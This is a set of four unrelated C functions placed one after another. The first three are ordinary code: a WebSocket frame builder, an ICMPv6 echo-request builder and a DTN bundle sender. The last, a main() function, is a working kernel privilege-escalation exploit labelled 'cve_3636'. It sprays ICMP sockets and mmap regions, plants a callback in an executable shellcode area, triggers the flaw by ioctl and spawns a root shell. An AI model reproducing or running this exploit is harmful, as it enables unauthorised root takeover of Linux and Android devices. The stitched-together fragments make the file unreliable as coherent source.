static void prepare_message(uint8_t type, uint8_t *buffer, uint64_t length, bool shall_mask, uint8_t mask[4]) { uint8_t *ptr = read_buffer; read_buffer_length = 0; uint8_t header = 0x00; header |= WS_HEADER_FIN; header |= type; ::memcpy(ptr, &header, sizeof(header)); ptr += sizeof(header); read_buffer_length += sizeof(header); uint8_t first_length = 0x00; if (shall_mask) { first_length |= WS_HEADER_MASK; } if (length < 126) { first_length = first_length | (uint8_t)length; ::memcpy(ptr, &first_length, sizeof(first_length)); ptr += sizeof(first_length); read_buffer_length += sizeof(first_length); } else if (length <= 65535) { first_length = first_length | 126; ::memcpy(ptr, &first_length, sizeof(first_length)); ptr += sizeof(first_length); read_buffer_length += sizeof(first_length); uint16_t len = (uint16_t)length; len = htobe16(len); ::memcpy(ptr, &len, sizeof(len)); ptr += sizeof(len); read_buffer_length += sizeof(len); } else { first_length = first_length | 127; ::memcpy(ptr, &first_length, sizeof(first_length)); ptr += sizeof(first_length); read_buffer_length += sizeof(first_length); uint64_t len = htobe64(length); ::memcpy(ptr, &len, sizeof(length)); ptr += sizeof(len); read_buffer_length += sizeof(len); } if (shall_mask) { ::memcpy(ptr, mask, 4); ptr += 4; read_buffer_length += 4; } fill_payload(ptr, buffer, length, shall_mask, mask); read_buffer_length += length; }
/* * Function: create_echo_request() * * Description: * This function creates icmpv6 echo request * * Argument: * info_p: pointer to data of icmp structure * * Return value: * None */ void create_echo_request(struct icmp6_info *info_p) { struct ip6_datagram pkt; /* ICMPv6 packet */ struct icmp6_segment *echoreq_p; /* Echo request header and payload */ struct pseudo_ip6_datagram pseudo; /* ICMPv6 pseudo packet for checksum */ unsigned short int ip6_psize; /* payload size */ ip6_psize = sizeof(struct icmp6_hdr) /* ICMP header */ + info_p->data_size; /* ICMP payload */ memset(&pkt, '\0', sizeof(struct ip6_datagram)); echoreq_p = (struct icmp6_segment *)&(pkt.payload); /* IPv6 Header */ pkt.hdr.ip6_vfc = 6 << 4; pkt.hdr.ip6_flow |= 0; pkt.hdr.ip6_plen = htons(ip6_psize); pkt.hdr.ip6_nxt = IPPROTO_ICMPV6; pkt.hdr.ip6_hlim = IPV6_DEFAULT_HOPLIMIT; pkt.hdr.ip6_src = info_p->saddr; pkt.hdr.ip6_dst = info_p->daddr; /* Echo Request Header */ echoreq_p->hdr.icmp6_type = ICMP6_ECHO_REQUEST; echoreq_p->hdr.icmp6_code = 0; echoreq_p->hdr.icmp6_cksum = 0; /* Calculate later */ echoreq_p->hdr.icmp6_id = htons(ICMP_ECHO_ID); echoreq_p->hdr.icmp6_seq = htons(1); /* Echo Request Payload */ fill_payload(echoreq_p->data, info_p->data_size); /* ICMPv6 Pseudo packet */ pseudo.hdr.p_ip6_src = pkt.hdr.ip6_src; pseudo.hdr.p_ip6_dst = pkt.hdr.ip6_dst; pseudo.hdr.p_ip6_plen = htons(ip6_psize); pseudo.hdr.p_ip6_zero1 = 0; pseudo.hdr.p_ip6_zero2 = 0; pseudo.hdr.p_ip6_nxt = IPPROTO_ICMPV6; memcpy(pseudo.payload, echoreq_p, ip6_psize); /* Calcualte checksums */ echoreq_p->hdr.icmp6_cksum = calc_checksum((u_int16_t *)(&pseudo), sizeof(struct pseudo_ip6_hdr) + ip6_psize); /* Store the clean packet data */ info_p->pkt = pkt; info_p->pkt_size = sizeof(struct ip6_hdr) + ip6_psize; }
void to_bundles() { int bytes, ret; dtn_reg_info_t reg_report; /* for reports, if reqd */ dtn_reg_info_t reg_session; /* for session reg, if reqd */ // initialize bundle spec memset(&bundle_spec, 0, sizeof(bundle_spec)); parse_eid(handle, &bundle_spec.dest, arg_dest); parse_eid(handle, &bundle_spec.source, arg_source); if (arg_replyto == NULL) { dtn_copy_eid(&bundle_spec.replyto, &bundle_spec.source); } else { parse_eid(handle, &bundle_spec.replyto, arg_replyto); } if (verbose) { print_eid(info, "source_eid", &bundle_spec.source); print_eid(info, "replyto_eid", &bundle_spec.replyto); print_eid(info, "dest_eid", &bundle_spec.dest); } if (wait_for_report) { // if we're given a regid, bind to it, otherwise make a // registration for incoming reports if (regid != DTN_REGID_NONE) { if (dtn_bind(handle, regid) != DTN_SUCCESS) { fprintf(stderr, "%s: error in bind (id=0x%x): %d (%s)\n", progname, regid, ret, dtn_strerror(dtn_errno(handle))); exit(EXIT_FAILURE); } } else { memset(®_report, 0, sizeof(reg_report)); dtn_copy_eid(®_report.endpoint, &bundle_spec.replyto); reg_report.flags = DTN_REG_DEFER; reg_report.expiration = REG_EXPIRE; make_registration(®_report); } } if (session_flags) { // make a publisher registration memset(®_session, 0, sizeof(reg_session)); dtn_copy_eid(®_session.endpoint, &bundle_spec.dest); reg_session.flags = DTN_SESSION_PUBLISH; reg_session.expiration = 0; make_registration(®_session); } // set the dtn options bundle_spec.expiration = expiration; if (delivery_receipts) { // set the delivery receipt option bundle_spec.dopts |= DOPTS_DELIVERY_RCPT; } if (forwarding_receipts) { // set the forward receipt option bundle_spec.dopts |= DOPTS_FORWARD_RCPT; } if (custody) { // request custody transfer bundle_spec.dopts |= DOPTS_CUSTODY; } if (custody_receipts) { // request custody transfer bundle_spec.dopts |= DOPTS_CUSTODY_RCPT; } if (receive_receipts) { // request receive receipt bundle_spec.dopts |= DOPTS_RECEIVE_RCPT; } if (sequence_id) { bundle_spec.sequence_id.data.data_val = sequence_id; bundle_spec.sequence_id.data.data_len = strlen(sequence_id); } if (obsoletes_id) { bundle_spec.obsoletes_id.data.data_val = obsoletes_id; bundle_spec.obsoletes_id.data.data_len = strlen(obsoletes_id); } if ((bytes = fill_payload(&primary_payload)) < 0) { fprintf(stderr, "%s: error reading bundle data\n", progname); exit(EXIT_FAILURE); } memset(&bundle_id, 0, sizeof(bundle_id)); if ((ret = dtn_send(handle, regid, &bundle_spec, &primary_payload, &bundle_id)) != 0) { fprintf(stderr, "%s: error sending bundle: %d (%s)\n", progname, ret, dtn_strerror(dtn_errno(handle))); exit(EXIT_FAILURE); } if (verbose) fprintf(info, "Read %d bytes from stdin and wrote to bundles\n", bytes); if (wait_for_report) { memset(&reply_spec, 0, sizeof(reply_spec)); memset(&reply_payload, 0, sizeof(reply_payload)); // now we block waiting for any replies if ((ret = dtn_recv(handle, &reply_spec, DTN_PAYLOAD_MEM, &reply_payload, -1)) < 0) { fprintf(stderr, "%s: error getting reply: %d (%s)\n", progname, ret, dtn_strerror(dtn_errno(handle))); exit(EXIT_FAILURE); } if (gettimeofday(&end, NULL) < 0) { fprintf(stderr, "%s: gettimeofday(end) returned error %s\n", progname, strerror(errno)); exit(EXIT_FAILURE); } if (verbose) fprintf(info, "got %d byte report from [%s]: time=%.1f ms\n", reply_payload.buf.buf_len, reply_spec.source.uri, ((double)(end.tv_sec - start.tv_sec) * 1000.0 + (double)(end.tv_usec - start.tv_usec)/1000.0)); } }
int main() { int *socks; unsigned long *address[MAX_MMAP]; int pid[MAX_CHILD]; int pipe_read[MAX_CHILD]; void *addr; int max_fds; int i, num_socks, num_child; int j; int success, count; int fd; int vulnerable = 0; int child_socks, total_child_socks; int temp; unsigned long *target; addr = mmap((void*)0x200000, _PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) { printf("map failed!\n"); return -1; } memset((void*)0x200000, 0, _PAGE_SIZE); protect_from_oom_killer(); fd = create_icmp_socket(); if (fd < 0) { printf("can not crate icmp socket!\n"); return -1; } setup_vul_socket(fd); for (i = 0; i < _PAGE_SIZE / sizeof(int *); i++) { if (((unsigned int*)addr)[i] != 0) { vulnerable = 1; break; } } if (vulnerable == 0) { printf("cve_3636 not vulnerable!\n"); return -1; } if (mmap(0x50000000, 0x4000, PROT_WRITE | PROT_READ | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED, -1, 0) != 0x50000000) { printf("map shellcode area failed!\n"); return -1; } for (i = 0; i < 0x4000; i += 4){ target = 0x50000000 + i; *target = call_back; } my_pid = getpid(); max_fds = maximize_fd_limit(); printf("max_fds = %d\n", max_fds); socks = malloc(sizeof(int*) * (max_fds + 1)); printf("create child to spray\n"); num_child = 0; num_socks = 0; child_socks = 0; total_child_socks = 0; for (i = 0; i < MAX_CHILD; i++) { if (total_child_socks > MAX_SOCKS) break; pid[i] = create_child(&pipe_read[i], max_fds, &child_socks); if (pid[i] == -1) break; printf("."); fflush(stdout); //printf("create vulnerable socket!\n"); total_child_socks += child_socks; //printf("\n now child sockets = %d\n", total_child_socks); if ( num_socks < max_fds) { socks[num_socks] = create_icmp_socket(); if (socks[num_socks] == -1) break; num_socks++; } usleep(500000); } num_child = i; printf("total child sockets: %d\n", total_child_socks); printf("\nchild num: %d\n", num_child); socks[num_socks] = -1; printf("vulnerable socket num: %d\n", num_socks); printf("now close child socket!\n"); for (i = 0; i < num_child; i++) { close_child(pid[i]); } printf("setup vulnerable socket!\n"); for (i = 0; i < num_socks; i++) { setup_vul_socket(socks[i]); } printf("sparying ...\n"); success = 0; while (1) { count = 0; for (i = 0; i < MAX_MMAP; i++) { address[i] = mmap((void*)0, MAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0); if (address[i] == MAP_FAILED) { printf("map failed!\n"); break; } fill_payload(address[i], MAP_SIZE); for (j = 0; socks[j] != -1; j++) { if (get_sk(socks[j]) > 0) { success = 1; printf("get it!\n"); ioctl(socks[j], 0x5678, &temp); break; } } if (success) break; } count = i; if (success) { printf("free %ld bytes\n", MAP_SIZE * (count - 1)); for (i = 0; i < count; i++) { munmap(address[i], MAP_SIZE); } munmap(0x50000000, 0x4000); system("/system/bin/sh"); break; } } printf("main end!\n"); return 0; }